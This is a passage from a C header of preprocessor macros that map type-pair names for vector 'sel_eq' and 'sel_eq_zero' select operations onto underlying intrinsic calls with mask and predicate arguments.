v_i32_u32_sel_eq_v_v_v_v_b\n#define v_i32_u32_sel_eq_v_v_v_s_b v_i32_u32_sel_eq_v_v_v_v_b\n#define v_i32_u32_sel_eq_v_v_v_v(a, b, c, d) v_i32_u32_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_u32_sel_eq_v_s_v_v v_i32_u32_sel_eq_v_v_v_v\n#define v_i32_u32_sel_eq_v_v_v_s v_i32_u32_sel_eq_v_v_v_v\n\n#define v_i32_u32_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_eq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel_eq_v_s_v_v_vb v_i32_u32_sel_eq_v_v_v_v_vb\n#define v_i32_u32_sel_eq_v_v_v_s_vb v_i32_u32_sel_eq_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_eq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel_eq_v_s_v_v_b v_u32_u32_sel_eq_v_v_v_v_b\n#define v_u32_u32_sel_eq_v_v_v_s_b v_u32_u32_sel_eq_v_v_v_v_b\n#define v_u32_u32_sel_eq_v_v_v_v(a, b, c, d) v_u32_u32_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_u32_sel_eq_v_s_v_v v_u32_u32_sel_eq_v_v_v_v\n#define v_u32_u32_sel_eq_v_v_v_s v_u32_u32_sel_eq_v_v_v_v\n\n#define v_u32_u32_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_eq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_u32_sel_eq_v_s_v_v_vb v_u32_u32_sel_eq_v_v_v_v_vb\n#define v_u32_u32_sel_eq_v_v_v_s_vb v_u32_u32_sel_eq_v_v_v_v_vb\n\n// i16 - bf16\n#define v_bf16_i16_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_eq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel_eq_v_s_v_v_b v_bf16_i16_sel_eq_v_v_v_v_b\n#define v_bf16_i16_sel_eq_v_v_v_s_b v_bf16_i16_sel_eq_v_v_v_v_b\n#define v_bf16_i16_sel_eq_v_v_v_v(a, b, c, d) v_bf16_i16_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_i16_sel_eq_v_s_v_v v_bf16_i16_sel_eq_v_v_v_v\n#define v_bf16_i16_sel_eq_v_v_v_s v_bf16_i16_sel_eq_v_v_v_v\n\n#define v_bf16_i16_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_eq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_i16_sel_eq_v_s_v_v_vb v_bf16_i16_sel_eq_v_v_v_v_vb\n#define v_bf16_i16_sel_eq_v_v_v_s_vb v_bf16_i16_sel_eq_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_eq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel_eq_v_s_v_v_b v_i16_i16_sel_eq_v_v_v_v_b\n#define v_i16_i16_sel_eq_v_v_v_s_b v_i16_i16_sel_eq_v_v_v_v_b\n#define v_i16_i16_sel_eq_v_v_v_v(a, b, c, d) v_i16_i16_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_i16_sel_eq_v_s_v_v v_i16_i16_sel_eq_v_v_v_v\n#define v_i16_i16_sel_eq_v_v_v_s v_i16_i16_sel_eq_v_v_v_v\n\n#define v_i16_i16_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_eq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel_eq_v_s_v_v_vb v_i16_i16_sel_eq_v_v_v_v_vb\n#define v_i16_i16_sel_eq_v_v_v_s_vb v_i16_i16_sel_eq_v_v_v_v_vb\n\n// i16 - u16\n#define v_u16_i16_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_eq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel_eq_v_s_v_v_b v_u16_i16_sel_eq_v_v_v_v_b\n#define v_u16_i16_sel_eq_v_v_v_s_b v_u16_i16_sel_eq_v_v_v_v_b\n#define v_u16_i16_sel_eq_v_v_v_v(a, b, c, d) v_u16_i16_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_i16_sel_eq_v_s_v_v v_u16_i16_sel_eq_v_v_v_v\n#define v_u16_i16_sel_eq_v_v_v_s v_u16_i16_sel_eq_v_v_v_v\n\n#define v_u16_i16_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_eq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel_eq_v_s_v_v_vb v_u16_i16_sel_eq_v_v_v_v_vb\n#define v_u16_i16_sel_eq_v_v_v_s_vb v_u16_i16_sel_eq_v_v_v_v_vb\n\n// u16 - bf16\n#define v_bf16_u16_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_eq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel_eq_v_s_v_v_b v_bf16_u16_sel_eq_v_v_v_v_b\n#define v_bf16_u16_sel_eq_v_v_v_s_b v_bf16_u16_sel_eq_v_v_v_v_b\n#define v_bf16_u16_sel_eq_v_v_v_v(a, b, c, d) v_bf16_u16_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_u16_sel_eq_v_s_v_v v_bf16_u16_sel_eq_v_v_v_v\n#define v_bf16_u16_sel_eq_v_v_v_s v_bf16_u16_sel_eq_v_v_v_v\n\n#define v_bf16_u16_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_eq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel_eq_v_s_v_v_vb v_bf16_u16_sel_eq_v_v_v_v_vb\n#define v_bf16_u16_sel_eq_v_v_v_s_vb v_bf16_u16_sel_eq_v_v_v_v_vb\n\n// u16 - i16\n#define v_i16_u16_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_eq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel_eq_v_s_v_v_b v_i16_u16_sel_eq_v_v_v_v_b\n#define v_i16_u16_sel_eq_v_v_v_s_b v_i16_u16_sel_eq_v_v_v_v_b\n#define v_i16_u16_sel_eq_v_v_v_v(a, b, c, d) v_i16_u16_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_u16_sel_eq_v_s_v_v v_i16_u16_sel_eq_v_v_v_v\n#define v_i16_u16_sel_eq_v_v_v_s v_i16_u16_sel_eq_v_v_v_v\n\n#define v_i16_u16_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_eq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel_eq_v_s_v_v_vb v_i16_u16_sel_eq_v_v_v_v_vb\n#define v_i16_u16_sel_eq_v_v_v_s_vb v_i16_u16_sel_eq_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_eq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel_eq_v_s_v_v_b v_u16_u16_sel_eq_v_v_v_v_b\n#define v_u16_u16_sel_eq_v_v_v_s_b v_u16_u16_sel_eq_v_v_v_v_b\n#define v_u16_u16_sel_eq_v_v_v_v(a, b, c, d) v_u16_u16_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_u16_sel_eq_v_s_v_v v_u16_u16_sel_eq_v_v_v_v\n#define v_u16_u16_sel_eq_v_v_v_s v_u16_u16_sel_eq_v_v_v_v\n\n#define v_u16_u16_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_eq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel_eq_v_s_v_v_vb v_u16_u16_sel_eq_v_v_v_v_vb\n#define v_u16_u16_sel_eq_v_v_v_s_vb v_u16_u16_sel_eq_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_i8_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_eq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_eq_v_s_v_v_b v_i8_i8_sel_eq_v_v_v_v_b\n#define v_i8_i8_sel_eq_v_v_v_s_b v_i8_i8_sel_eq_v_v_v_v_b\n#define v_i8_i8_sel_eq_v_v_v_v(a, b, c, d) v_i8_i8_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_i8_sel_eq_v_s_v_v v_i8_i8_sel_eq_v_v_v_v\n#define v_i8_i8_sel_eq_v_v_v_s v_i8_i8_sel_eq_v_v_v_v\n\n#define v_i8_i8_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_eq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel_eq_v_s_v_v_vb v_i8_i8_sel_eq_v_v_v_v_vb\n#define v_i8_i8_sel_eq_v_v_v_s_vb v_i8_i8_sel_eq_v_v_v_v_vb\n\n// i8 - u8\n#define v_u8_i8_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_eq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_eq_v_s_v_v_b v_u8_i8_sel_eq_v_v_v_v_b\n#define v_u8_i8_sel_eq_v_v_v_s_b v_u8_i8_sel_eq_v_v_v_v_b\n#define v_u8_i8_sel_eq_v_v_v_v(a, b, c, d) v_u8_i8_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_i8_sel_eq_v_s_v_v v_u8_i8_sel_eq_v_v_v_v\n#define v_u8_i8_sel_eq_v_v_v_s v_u8_i8_sel_eq_v_v_v_v\n\n#define v_u8_i8_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_eq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel_eq_v_s_v_v_vb v_u8_i8_sel_eq_v_v_v_v_vb\n#define v_u8_i8_sel_eq_v_v_v_s_vb v_u8_i8_sel_eq_v_v_v_v_vb\n\n// u8 - i8\n#define v_i8_u8_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_eq_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_eq_v_s_v_v_b v_i8_u8_sel_eq_v_v_v_v_b\n#define v_i8_u8_sel_eq_v_v_v_s_b v_i8_u8_sel_eq_v_v_v_v_b\n#define v_i8_u8_sel_eq_v_v_v_v(a, b, c, d) v_i8_u8_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_u8_sel_eq_v_s_v_v v_i8_u8_sel_eq_v_v_v_v\n#define v_i8_u8_sel_eq_v_v_v_s v_i8_u8_sel_eq_v_v_v_v\n\n#define v_i8_u8_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_eq_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel_eq_v_s_v_v_vb v_i8_u8_sel_eq_v_v_v_v_vb\n#define v_i8_u8_sel_eq_v_v_v_s_vb v_i8_u8_sel_eq_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_eq_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_eq_v_s_v_v_b v_u8_u8_sel_eq_v_v_v_v_b\n#define v_u8_u8_sel_eq_v_v_v_s_b v_u8_u8_sel_eq_v_v_v_v_b\n#define v_u8_u8_sel_eq_v_v_v_v(a, b, c, d) v_u8_u8_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_u8_sel_eq_v_s_v_v v_u8_u8_sel_eq_v_v_v_v\n#define v_u8_u8_sel_eq_v_v_v_s v_u8_u8_sel_eq_v_v_v_v\n\n#define v_u8_u8_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_eq_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel_eq_v_s_v_v_vb v_u8_u8_sel_eq_v_v_v_v_vb\n#define v_u8_u8_sel_eq_v_v_v_s_vb v_u8_u8_sel_eq_v_v_v_v_vb\n\n\n// SEL_EQ with MASK_EQ_ZERO\n\n// f32 - f32\n#define v_f32_f32_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_eq_f32_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_f32_f32_sel_eq_zero_v_s_v_v_b v_f32_f32_sel_eq_zero_v_v_v_v_b\n#define v_f32_f32_sel_eq_zero_v_v_v_s_b v_f32_f32_sel_eq_zero_v_v_v_v_b\n#define v_f32_f32_sel_eq_zero_v_v_v_v(a, b, c, d) v_f32_f32_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_f32_sel_eq_zero_v_s_v_v v_f32_f32_sel_eq_zero_v_v_v_v\n#define v_f32_f32_sel_eq_zero_v_v_v_s v_f32_f32_sel_eq_zero_v_v_v_v\n\n#define v_f32_f32_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_eq_f32_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool64(p), o)\n#define v_f32_f32_sel_eq_zero_v_s_v_v_vb v_f32_f32_sel_eq_zero_v_v_v_v_vb\n#define v_f32_f32_sel_eq_zero_v_v_v_s_vb v_f32_f32_sel_eq_zero_v_v_v_v_vb\n\n// f32 - i32\n#define v_i32_f32_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_eq_i32_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i32_f32_sel_eq_zero_v_s_v_v_b v_i32_f32_sel_eq_zero_v_v_v_v_b\n#define v_i32_f32_sel_eq_zero_v_v_v_s_b v_i32_f32_sel_eq_zero_v_v_v_v_b\n#define v_i32_f32_sel_eq_zero_v_v_v_v(a, b, c, d) v_i32_f32_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_f32_sel_eq_zero_v_s_v_v v_i32_f32_sel_eq_zero_v_v_v_v\n#define v_i32_f32_sel_eq_zero_v_v_v_s v_i32_f32_sel_eq_zero_v_v_v_v\n\n#define v_i32_f32_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_eq_i32_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool64(p), o)\n#define v_i32_f32_sel_eq_zero_v_s_v_v_vb v_i32_f32_sel_eq_zero_v_v_v_v_vb\n#define v_i32_f32_sel_eq_zero_v_v_v_s_vb v_i32_f32_sel_eq_zero_v_v_v_v_vb\n\n// f32 - u32\n#define v_u32_f32_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_eq_u32_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u32_f32_sel_eq_zero_v_s_v_v_b v_u32_f32_sel_eq_zero_v_v_v_v_b\n#define v_u32_f32_sel_eq_zero_v_v_v_s_b v_u32_f32_sel_eq_zero_v_v_v_v_b\n#define v_u32_f32_sel_eq_zero_v_v_v_v(a, b, c, d) v_u32_f32_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_f32_sel_eq_zero_v_s_v_v v_u32_f32_sel_eq_zero_v_v_v_v\n#define v_u32_f32_sel_eq_zero_v_v_v_s v_u32_f32_sel_eq_zero_v_v_v_v\n\n#define v_u32_f32_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_eq_u32_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool64(p), o)\n#define v_u32_f32_sel_eq_zero_v_s_v_v_vb v_u32_f32_sel_eq_zero_v_v_v_v_vb\n#define v_u32_f32_sel_eq_zero_v_v_v_s_vb v_u32_f32_sel_eq_zero_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_eq_bf16_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_bf16_bf16_sel_eq_zero_v_s_v_v_b v_bf16_bf16_sel_eq_zero_v_v_v_v_b\n#define v_bf16_bf16_sel_eq_zero_v_v_v_s_b v_bf16_bf16_sel_eq_zero_v_v_v_v_b\n#define v_bf16_bf16_sel_eq_zero_v_v_v_v(a, b, c, d) v_bf16_bf16_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_bf16_sel_eq_zero_v_s_v_v v_bf16_bf16_sel_eq_zero_v_v_v_v\n#define v_bf16_bf16_sel_eq_zero_v_v_v_s v_bf16_bf16_sel_eq_zero_v_v_v_v\n\n#define v_bf16_bf16_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_eq_bf16_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool128(p), o)\n#define v_bf16_bf16_sel_eq_zero_v_s_v_v_vb v_bf16_bf16_sel_eq_zero_v_v_v_v_vb\n#define v_bf16_bf16_sel_eq_zero_v_v_v_s_vb v_bf16_bf16_sel_eq_zero_v_v_v_v_vb\n\n// bf16 - i16\n#define v_i16_bf16_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_eq_i16_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i16_bf16_sel_eq_zero_v_s_v_v_b v_i16_bf16_sel_eq_zero_v_v_v_v_b\n#define v_i16_bf16_sel_eq_zero_v_v_v_s_b v_i16_bf16_sel_eq_zero_v_v_v_v_b\n#define v_i16_bf16_sel_eq_zero_v_v_v_v(a, b, c, d) v_i16_bf16_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_bf16_sel_eq_zero_v_s_v_v v_i16_bf16_sel_eq_zero_v_v_v_v\n#define v_i16_bf16_sel_eq_zero_v_v_v_s v_i16_bf16_sel_eq_zero_v_v_v_v\n\n#define v_i16_bf16_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_eq_i16_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool128(p), o)\n#define v_i16_bf16_sel_eq_zero_v_s_v_v_vb v_i16_bf16_sel_eq_zero_v_v_v_v_vb\n#define v_i16_bf16_sel_eq_zero_v_v_v_s_vb v_i16_bf16_sel_eq_zero_v_v_v_v_vb\n\n// bf16 - u16\n#define v_u16_bf16_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_eq_u16_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u16_bf16_sel_eq_zero_v_s_v_v_b v_u16_bf16_sel_eq_zero_v_v_v_v_b\n#define v_u16_bf16_sel_eq_zero_v_v_v_s_b v_u16_bf16_sel_eq_zero_v_v_v_v_b\n#define v_u16_bf16_sel_eq_zero_v_v_v_v(a, b, c, d) v_u16_bf16_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_bf16_sel_eq_zero_v_s_v_v v_u16_bf16_sel_eq_zero_v_v_v_v\n#define v_u16_bf16_sel_eq_zero_v_v_v_s v_u16_bf16_sel_eq_zero_v_v_v_v\n\n#define v_u16_bf16_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_eq_u16_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool128(p), o)\n#define v_u16_bf16_sel_eq_zero_v_s_v_v_vb v_u16_bf16_sel_eq_zero_v_v_v_v_vb\n#define v_u16_bf16_sel_eq_zero_v_v_v_s_vb v_u16_bf16_sel_eq_zero_v_v_v_v_vb\n\n// i32 - f32\n#define v_f32_i32_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_eq_f32_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_f32_i32_sel_eq_zero_v_s_v_v_b v_f32_i32_sel_eq_zero_v_v_v_v_b\n#define v_f32_i32_sel_eq_zero_v_v_v_s_b v_f32_i32_sel_eq_zero_v_v_v_v_b\n#define v_f32_i32_sel_eq_zero_v_v_v_v(a, b, c, d) v_f32_i32_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_i32_sel_eq_zero_v_s_v_v v_f32_i32_sel_eq_zero_v_v_v_v\n#define v_f32_i32_sel_eq_zero_v_v_v_s v_f32_i32_sel_eq_zero_v_v_v_v\n\n#define v_f32_i32_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_eq_f32_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool64(p), o)\n#define v_f32_i32_sel_eq_zero_v_s_v_v_vb v_f32_i32_sel_eq_zero_v_v_v_v_vb\n#define v_f32_i32_sel_eq_zero_v_v_v_s_vb v_f32_i32_sel_eq_zero_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_eq_i32_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i32_i32_sel_eq_zero_v_s_v_v_b v_i32_i32_sel_eq_zero_v_v_v_v_b\n#define v_i32_i32_sel_eq_zero_v_v_v_s_b v_i32_i32_sel_eq_zero_v_v_v_v_b\n#define v_i32_i32_sel_eq_zero_v_v_v_v(a, b, c, d) v_i32_i32_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_i32_sel_eq_zero_v_s_v_v v_i32_i32_sel_eq_zero_v_v_v_v\n#define v_i32_i32_sel_eq_zero_v_v_v_s v_i32_i32_sel_eq_zero_v_v_v_v\n\n#define v_i32_i32_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_eq_i32_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool64(p), o)\n#define v_i32_i32_sel_eq_zero_v_s_v_v_vb v_i32_i32_sel_eq_zero_v_v_v_v_vb\n#define v_i32_i32_sel_eq_zero_v_v_v_s_vb v_i32_i32_sel_eq_zero_v_v_v_v_vb\n\n// i32 - u32\n#define v_u32_i32_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_eq_u32_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u32_i32_sel_eq_zero_v_s_v_v_b v_u32_i32_sel_eq_zero_v_v_v_v_b\n#define v_u32_i32_sel_eq_zero_v_v_v_s_b v_u32_i32_sel_eq_zero_v_v_v_v_b\n#define v_u32_i32_sel_eq_zero_v_v_v_v(a, b, c, d) v_u32_i32_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_i32_sel_eq_zero_v_s_v_v v_u32_i32_sel_eq_zero_v_v_v_v\n#define v_u32_i32_sel_eq_zero_v_v_v_s v_u32_i32_sel_eq_zero_v_v_v_v\n\n#define v_u32_i32_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_eq_u32_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool64(p), o)\n#define v_u32_i32_sel_eq_zero_v_s_v_v_vb v_u32_i32_sel_eq_zero_v_v_v_v_vb\n#define v_u32_i32_sel_eq_zero_v_v_v_s_vb v_u32_i32_sel_eq_zero_v_v_v_v_vb\n\n// u32 - f32\n#define v_f32_u32_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_eq_f32_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_f32_u32_sel_eq_zero_v_s_v_v_b v_f32_u32_sel_eq_zero_v_v_v_v_b\n#define v_f32_u32_sel_eq_zero_v_v_v_s_b v_f32_u32_sel_eq_zero_v_v_v_v_b\n#define v_f32_u32_sel_eq_zero_v_v_v_v(a, b, c, d) v_f32_u32_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_u32_sel_eq_zero_v_s_v_v v_f32_u32_sel_eq_zero_v_v_v_v\n#define v_f32_u32_sel_eq_zero_v_v_v_s v_f32_u32_sel_eq_zero_v_v_v_v\n\n#define v_f32_u32_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_eq_f32_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool64(p), o)\n#define v_f32_u32_sel_eq_zero_v_s_v_v_vb v_f32_u32_sel_eq_zero_v_v_v_v_vb\n#define v_f32_u32_sel_eq_zero_v_v_v_s_vb v_f32_u32_sel_eq_zero_v_v_v_v_vb\n\n// u32 - i32\n#define v_i32_u32_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_eq_i32_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i32_u32_sel_eq_zero_v_s_v_v_b v_i32_u32_sel_eq_zero_v_v_v_v_b\n#define v_i32_u32_sel_eq_zero_v_v_v_s_b v_i32_u32_sel_eq_zero_v_v_v_v_b\n#define v_i32_u32_sel_eq_zero_v_v_v_v(a, b, c, d) v_i32_u32_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_u32_sel_eq_zero_v_s_v_v v_i32_u32_sel_eq_zero_v_v_v_v\n#define v_i32_u32_sel_eq_zero_v_v_v_s v_i32_u32_sel_eq_zero_v_v_v_v\n\n#define v_i32_u32_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_eq_i32_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool64(p), o)\n#define v_i32_u32_sel_eq_zero_v_s_v_v_vb v_i32_u32_sel_eq_zero_v_v_v_v_vb\n#define v_i32_u32_sel_eq_zero_v_v_v_s_vb v_i32_u32_sel_eq_zero_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_eq_u32_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u32_u32_sel_eq_zero_v_s_v_v_b v_u32_u32_sel_eq_zero_v_v_v_v_b\n#define v_u32_u32_sel_eq_zero_v_v_v_s_b v_u32_u32_sel_eq_zero_v_v_v_v_b\n#define v_u32_u32_sel_eq_zero_v_v_v_v(a, b, c, d) v_u32_u32_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_u32_sel_eq_zero_v_s_v_v v_u32_u32_sel_eq_zero_v_v_v_v\n#define v_u32_u32_sel_eq_zero_v_v_v_s v_u32_u32_sel_eq_zero_v_v_v_v\n\n#define v_u32_u32_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_eq_u32_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool64(p), o)\n#define v_u32_u32_sel_eq_zero_v_s_v_v_vb v_u32_u32_sel_eq_zero_v_v_v_v_vb\n#define v_u32_u32_sel_eq_zero_v_v_v_s_vb v_u32_u32_sel_eq_zero_v_v_v_v_vb\n\n// i16 - bf16\n#define v_bf16_i16_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_eq_bf16_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_bf16_i16_sel_eq_zero_v_s_v_v_b v_bf16_i16_sel_eq_zero_v_v_v_v_b\n#define v_bf16_i16_sel_eq_zero_v_v_v_s_b v_bf16_i16_sel_eq_zero_v_v_v_v_b\n#define v_bf16_i16_sel_eq_zero_v_v_v_v(a, b, c, d) v_bf16_i16_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_i16_sel_eq_zero_v_s_v_v v_bf16_i16_sel_eq_zero_v_v_v_v\n#define v_bf16_i16_sel_eq_zero_v_v_v_s v_bf16_i16_sel_eq_zero_v_v_v_v\n\n#define v_bf16_i16_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_eq_bf16_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool128(p), o)\n#define v_bf16_i16_sel_eq_zero_v_s_v_v_vb v_bf16_i16_sel_eq_zero_v_v_v_v_vb\n#define v_bf16_i16_sel_eq_zero_v_v_v_s_vb v_bf16_i16_sel_eq_zero_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_eq_i16_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i16_i16_sel_eq_zero_v_s_v_v_b v_i16_i16_sel_eq_zero_v_v_v_v_b\n#define v_i16_i16_sel_eq_zero_v_v_v_s_b v_i16_i16_sel_eq_zero_v_v_v_v_b\n#define v_i16_i16_sel_eq_zero_v_v_v_v(a, b, c, d) v_i16_i16_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_i16_sel_eq_zero_v_s_v_v v_i16_i16_sel_eq_zero_v_v_v_v\n#define v_i16_i16_sel_eq_zero_v_v_v_s v_i16_i16_sel_eq_zero_v_v_v_v\n\n#define v_i16_i16_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) 